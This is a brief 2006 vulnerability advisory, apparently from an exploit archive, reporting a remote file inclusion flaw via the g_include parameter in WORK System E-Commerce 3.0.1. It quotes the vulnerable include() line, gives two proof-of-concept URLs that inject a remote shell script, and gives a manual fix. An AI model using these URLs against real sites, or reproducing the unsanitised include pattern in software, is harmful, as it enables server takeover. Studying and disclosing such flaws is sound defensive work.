WORK System E-Commerce 3.0.1 - Remote File Inclusion

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WORK System E-Commerce (g_include) Remote File Inclusion Vulnerability

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Product............: WORK system e-commerce
Affected versions..: worksystem <= 3.0.1
Security Risk......: High
Vendor.............: Laurent Van den Reysen (http://worksystem.sourceforge.net/)
Product Link.......: http://prdownloads.sourceforge.net/worksystem/worksystem_3_0_1.zip?download
Discovered by......: SlimTim10


Details:
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Many files (including index.php) use the include() function with a variable that can be
altered remotely.

Vulnerable Code:
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include ($g_include."<file>.inc");

Vulnerable Files:
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'index.php' (main directory) along with many files in the './administration/module' and
'./module' directories.

Proof of Concept:
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http://[host]/work/index.php?g_include=[shell_script]
http://[host]/work/module/forum/forum.php?g_include=[shell_script]

Solution:
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No patch has been provided. The vulnerable files can be manually edited to initialize the
$g_include variable.

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Shoutz: Anonymous bro, Magnetosphere, dw0rek, c4p_sl0ck, str0ke!
SlimTim10 <slimtim10[at]gmail[dot]com>

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# milw0rm.com [2006-11-10]